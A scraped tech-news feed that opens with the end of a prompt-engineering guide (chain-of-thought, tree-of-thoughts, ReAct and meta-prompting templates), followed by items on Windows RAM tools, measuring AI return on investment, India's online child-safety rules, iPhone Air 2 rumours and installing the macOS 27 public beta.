<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CMD-RAM-Cleaner: Kommandozeilen-Befehle, die RAM freigeben]]></title>
<description><![CDATA[Die Windows-Kommandozeile ist imstande, belegtes RAM (Arbeitsspeicher) freizugeben. Hierfür brauchen Sie die passenden Befehle: Wir bringen Ihnen fünf Pendants zum Vollziehen von System-Tuning näher.]]></description>
<link>https://tsecurity.de/de/3688560/it-nachrichten/cmd-ram-cleaner-kommandozeilen-befehle-die-ram-freigeben/</link>
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<pubDate>Thu, 23 Jul 2026 11:50:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Windows-Kommandozeile ist imstande, belegtes RAM (Arbeitsspeicher) freizugeben. Hierfür brauchen Sie die passenden Befehle: Wir bringen Ihnen fünf Pendants zum Vollziehen von System-Tuning näher.]]></content:encoded>
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<title><![CDATA[WinTune: Portabler und starker Windows-Optimierer]]></title>
<description><![CDATA[Mit dem Tuning-Tool "WinTune" passen Sie Ihr Windows-Betriebssystem individuell an – und nutzen es so effizienter. Wir stellen die Möglichkeiten des Gratis-Helfers vor.]]></description>
<link>https://tsecurity.de/de/3688559/it-nachrichten/wintune-portabler-und-starker-windows-optimierer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688559/it-nachrichten/wintune-portabler-und-starker-windows-optimierer/</guid>
<pubDate>Thu, 23 Jul 2026 11:50:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit dem Tuning-Tool "WinTune" passen Sie Ihr Windows-Betriebssystem individuell an – und nutzen es so effizienter. Wir stellen die Möglichkeiten des Gratis-Helfers vor.]]></content:encoded>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[India Tightens Social Media Rules to Protect Children Online]]></title>
<description><![CDATA[India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to artificial intelligence. The government said its policies are aimed at ensuring an open, safe, trusted ...]]></description>
<link>https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688433/it-security-nachrichten/india-tightens-social-media-rules-to-protect-children-online/</guid>
<pubDate>Thu, 23 Jul 2026 10:56:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="India online safety rules" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules.webp 1536w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/India-online-safety-rules-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="India Tightens Social Media Rules to Protect Children Online 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="257" data-end="713">India online safety rules are being strengthened as the government steps up measures to protect children and other users from harmful digital content, cyber risks and emerging threats linked to <a href="https://thecyberexpress.com/?s=artificial+intelligence" target="_blank" rel="noopener">artificial intelligence</a>. The government said its policies are aimed at ensuring an open, safe, trusted and accountable internet, with recent measures focusing on child safety, privacy protection, faster content removal and stronger platform responsibilities.</p>
<p data-start="715" data-end="1123">The Information Technology Act, 2000, and the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021, form the core legal framework governing online safety and intermediary responsibilities in India. The government has also <a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287579&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">highlighted</a> the <a href="https://thecyberexpress.com/dpdp-and-cybersecurity-rethinking-data-risk/" target="_blank" rel="noopener">Digital Personal Data Protection Act</a>, 2023, and recent amendments to the IT Rules as part of its broader approach to digital safety.</p>

<h3 class="" data-section-id="1o0spuj" data-start="1125" data-end="1192"><span role="text"><strong data-start="1129" data-end="1192">India Online Safety Rules Tighten Platform Responsibilities</strong></span></h3>
<p data-start="1194" data-end="1433">Under the IT Rules, intermediaries are required to observe due diligence and inform users that they must not host, display, upload, modify, publish, transmit, update or share content that is harmful to children or violates applicable laws.</p>
<p data-start="1435" data-end="1671">Recent amendments require <a href="https://thecyberexpress.com/child-safety-online-eu-weighs-social-media-age/" target="_blank" rel="noopener">social media platforms</a> and other intermediaries to remove unlawful content within three hours of receiving an order from a competent court or a reasoned intimation from the appropriate government or its agency.</p>
<p data-start="1673" data-end="2054">The government has also o<a href="https://www.pib.gov.in/PressReleasePage.aspx?PRID=2287646&amp;reg=48&amp;lang=1" target="_blank" rel="nofollow noopener">utlined specific obligations</a> related to content involving nudity, impersonation and other sensitive material. In cases involving certain complaints about content featuring full or partial nudity, exposed private areas or artificially morphed images, intermediaries must take reasonable and practicable measures to remove or disable access within two hours.</p>

<h3 data-section-id="1g47dy1" data-start="2056" data-end="2116"><span role="text"><strong data-start="2060" data-end="2116">Government Targets Harmful Content and OTT Platforms</strong></span></h3>
<p data-start="2118" data-end="2530">The government said it has taken action against online platforms and OTT services over unlawful and obscene content. In the last two years, 50 OTT platforms have been disabled for public access in India for displaying obscene content and violating provisions including Sections 67 and 67A of the IT Act, Section 294 of the Bharatiya Nyaya Sanhita and the Indecent Representation of Women (Prohibition) Act, 1986.</p>
<p data-start="2532" data-end="2874">The government also said it has taken note of reports alleging the dissemination of advertisements linked to <a href="https://thecyberexpress.com/ai-child-safety-in-india/" target="_blank" rel="noopener">child sexual abuse material</a> (CSAM) on social media platforms and sought a detailed report from the concerned intermediary. The National Commission for Protection of Child Rights has also issued notices to the concerned platforms.</p>

<h3 data-section-id="cy5duc" data-start="2876" data-end="2933"><span role="text"><strong data-start="2880" data-end="2933">India Strengthens AI-Generated Content Safeguards</strong></span></h3>
<p data-start="2935" data-end="3279">The government has also expanded its regulatory focus to address risks associated with <a href="https://thecyberexpress.com/ai-content-generation-systems/" target="_blank" rel="noopener">AI-generated content</a> and synthetically generated information. Amendments to the IT Rules introduce requirements for clear labelling and traceable metadata for permissible AI-generated content, allowing users to identify synthetically generated material.</p>
<p data-start="3281" data-end="3547">The framework also strengthens platform accountability and requires greater user awareness about the legal consequences of unlawful AI-generated content. The rules specifically cover harmful material including CSAM, non-consensual intimate imagery and impersonation.</p>
<p data-start="3549" data-end="3807">Platforms are required to deploy reasonable and appropriate technical measures, including automated tools or other mechanisms, to prevent users from creating, modifying, publishing or sharing synthetically generated information that violates applicable laws.</p>
<p data-start="3809" data-end="4065">Significant Social Media Intermediaries are also required to make reasonable efforts to deploy technical measures to proactively identify content depicting rape, child sexual abuse or conduct, as well as content identical to information previously removed.</p>

<h3 data-section-id="1iex218" data-start="4067" data-end="4130"><span role="text"><strong data-start="4071" data-end="4130">Child Privacy and Digital Addiction Remain Key Concerns</strong></span></h3>
<p data-start="4132" data-end="4474">The Digital Personal <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="Data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29094">Data</a> Protection Act, 2023, provides a framework for protecting children's privacy online. It mandates parental consent for processing children's personal data and prohibits practices considered detrimental to children's well-being, including tracking, behavioural monitoring and targeted advertising directed at children.</p>
<p data-start="4476" data-end="4847">The government has also highlighted digital addiction as a serious challenge affecting children and young people. The Economic Survey 2025-26 noted potential impacts on cognitive development, academic performance, workplace productivity, social connectedness and mental health, alongside <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="29095">risks</a> linked to cyberbullying, compulsive gaming, social media and online gambling.</p>

<h3 data-section-id="pzt1k1" data-start="4849" data-end="4904"><span role="text"><strong data-start="4853" data-end="4904">Cyber Awareness Reaches 11.37 Lakh Participants</strong></span></h3>
<p data-start="4906" data-end="5315">Alongside regulatory measures, the government is expanding <a href="https://thecyberexpress.com/cybersecurity-skill-gap-awareness-education/" target="_blank" rel="noopener">cyber awareness </a>initiatives through the Information Security Education and Awareness project. So far, 6,650 awareness workshops have been conducted nationwide, reaching more than 11.37 lakh participants, including students, teachers, law enforcement officials, government personnel and members of the public.</p>
<p data-start="5317" data-end="5663">The government has also highlighted digital safety initiatives in education. The PRAGYATA Guidelines provide a framework for safe online learning and responsible use of social media and electronic devices. CBSE has introduced digital etiquette and <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29093">cybersecurity</a> training initiatives, while NCERT has incorporated cyber safety into its curriculum.</p>
<p data-start="5665" data-end="5951" data-is-last-node="" data-is-only-node="">The measures were outlined by Union Minister for Electronics and Information Technology Ashwini Vaishnaw in the Lok Sabha on July 22, 2026, as the government continues to strengthen its approach to c child protection and accountability across India's digital ecosystem.</p>]]></content:encoded>
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<title><![CDATA[iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know]]></title>
<description><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improv...]]></description>
<link>https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/</guid>
<pubDate>Thu, 23 Jul 2026 09:13:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improved sustained performance.



The upcoming iPhone Air 2 is expected to bring meaningful hardware upgrades while keeping the slim design that defines the Air lineup. Apple also appears to be changing its iPhone launch strategy, which means the next Air model may not arrive alongside the Pro models as many expected.



iPhone Air 2 at a glance



FeatureExpected DetailsRelease windowSpring 2027ProcessorA20 Pro built on 2nm processRear camerasDual cameras with Wide + Ultra WideBatteryAround 3,500mAhCoolingVapor chamber coolingDesignSimilar ultra-thin chassis



Will Apple release an iPhone Air 2?



There were reports earlier that Apple had paused development because the first iPhone Air did not sell as well as expected. 



Later reports clarified that Apple had not canceled the device. Instead, the company shifted its roadmap and continues to develop a second-generation model, which is currently believed to be in advanced testing under the internal codename V62.



A second rear camera is finally coming







The biggest limitation of the current iPhone Air is its single rear camera. Apple reportedly plans to solve that by adding a second lens.



Instead of using a telephoto camera, the company is expected to include an Ultra Wide sensor. This setup would match Apple's standard iPhone models and make the Air much more versatile for photography.



Expected camera improvements




48MP primary Wide camera



Ultra Wide secondary camera



Better landscape photography



Improved macro capabilities



More flexibility for video recording




A telephoto lens is still expected to remain exclusive to Pro models.



A20 Pro chip with 2nm technology







Another major upgrade is the processor.



The iPhone Air 2 is expected to use Apple's new A20 Pro chip, making it one of the first iPhones built on a 2-nanometer manufacturing process.



Apple is also expected to adopt Wafer-Level Multi-Chip Module technology, which integrates memory and the processor more efficiently. This design should improve both performance and power efficiency.



Expected benefits




Faster CPU performance



Better graphics performance



Lower power consumption



Improved AI processing



Longer battery life through better efficiency




Bigger battery without sacrificing thinness







Battery life was another common complaint about the first iPhone Air. Apple reportedly plans to address that with both hardware and silicon improvements.



Supply chain information suggests the iPhone Air 2 will include a battery around 3,500mAh, compared to the current 3,149mAh battery.



That represents roughly an 11 percent increase in capacity before accounting for the efficiency gains from the A20 Pro chip. While Apple has not confirmed real-world battery figures, users should expect noticeably longer endurance than the current generation.



Vapor chamber cooling arrives







Apple first introduced vapor chamber cooling on its Pro iPhones, and the technology is now expected to reach the Air lineup.



This cooling system spreads heat more effectively across the phone, allowing the processor to maintain higher performance during demanding workloads.



That means users can expect:




Better gaming performance



Less thermal throttling



Cooler temperatures during extended use



More stable performance while editing videos or using AI features




Expected release date



Apple originally planned to launch the iPhone Air 2 alongside the iPhone 18 Pro lineup in September 2026.



More recent reports point to a different strategy.



Apple is now expected to launch:



ProductExpected launchiPhone 18 ProFall 2026iPhone 18 Pro MaxFall 2026Foldable iPhoneFall 2026iPhone 18Spring 2027iPhone Air 2Spring 2027



This split launch schedule would allow Apple to focus premium devices in the fall while introducing mainstream models several months later.



Wrap Up



Based on current reports, the iPhone Air 2 looks like a much more complete device than its predecessor. A second rear camera, a larger battery, a faster A20 Pro chip, and vapor chamber cooling directly address the biggest compromises of the first-generation model while preserving its ultra-thin design.



As with all early Apple leaks, these details remain unofficial until the company makes an announcement. If the current roadmap stays on track, the iPhone Air 2 should arrive in spring 2027 with a stronger feature set and a better balance between portability and everyday performance.]]></content:encoded>
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<title><![CDATA[macOS 27 Public Beta 2 Released: Here’s How to Install It]]></title>
<description><![CDATA[Apple has released macOS 27 Golden Gate public beta 2 for compatible Mac models. The latest test update arrives shortly after developer beta 4 and focuses on improving stability before the full release later this year.



Since this is pre-release software, some apps and features may not work cor...]]></description>
<link>https://tsecurity.de/de/3688141/ios-mac-os/macos-27-public-beta-2-released-heres-how-to-install-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688141/ios-mac-os/macos-27-public-beta-2-released-heres-how-to-install-it/</guid>
<pubDate>Thu, 23 Jul 2026 08:17:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released macOS 27 Golden Gate public beta 2 for compatible Mac models. The latest test update arrives shortly after developer beta 4 and focuses on improving stability before the full release later this year.



Since this is pre-release software, some apps and features may not work correctly. Back up your Mac before installing the update, especially if you plan to use it on your main computer.



How to install



Follow these steps to download the update:




Visit the Apple Beta Software Program website and sign in with your Apple Account.



Enroll your Mac in the public beta program if you have not already done so.



Open System Settings on your Mac.



Select General and click Software Update.



Click the information button next to Beta Updates.



Choose macOS 27 Golden Gate Public Beta from the menu.



Click Done and return to the Software Update page.



Select Update Now or Upgrade Now when macOS 27 public beta 2 appears.




Keep your Mac connected to power during the installation. The download size and installation time will depend on your Mac model and internet connection.



All changes in macOS 27 public beta 2



Apple has not shared a detailed list of user-facing changes for this public beta. The update appears to focus mainly on bug fixes, performance improvements, and stability changes introduced with the corresponding developer beta.




Improved system stability: The release includes additional fixes intended to reduce crashes and unexpected behaviour during daily use.



Performance refinements: Apple continues to improve responsiveness across macOS, including animations, app launches, and general navigation.



Liquid Glass adjustments: The update contains further interface refinements as Apple improves the appearance and readability of its Liquid Glass design.



Siri AI testing: Apple continues testing its updated Siri experience, including more natural conversations, richer answers, and deeper Apple Intelligence features.



App compatibility fixes: Public beta 2 should address some issues affecting third-party apps, although users may still encounter software that has not been updated for macOS 27.




More changes may appear as users spend time with the update. Apple will continue releasing additional beta versions before macOS 27 Golden Gate becomes available to everyone later this year.



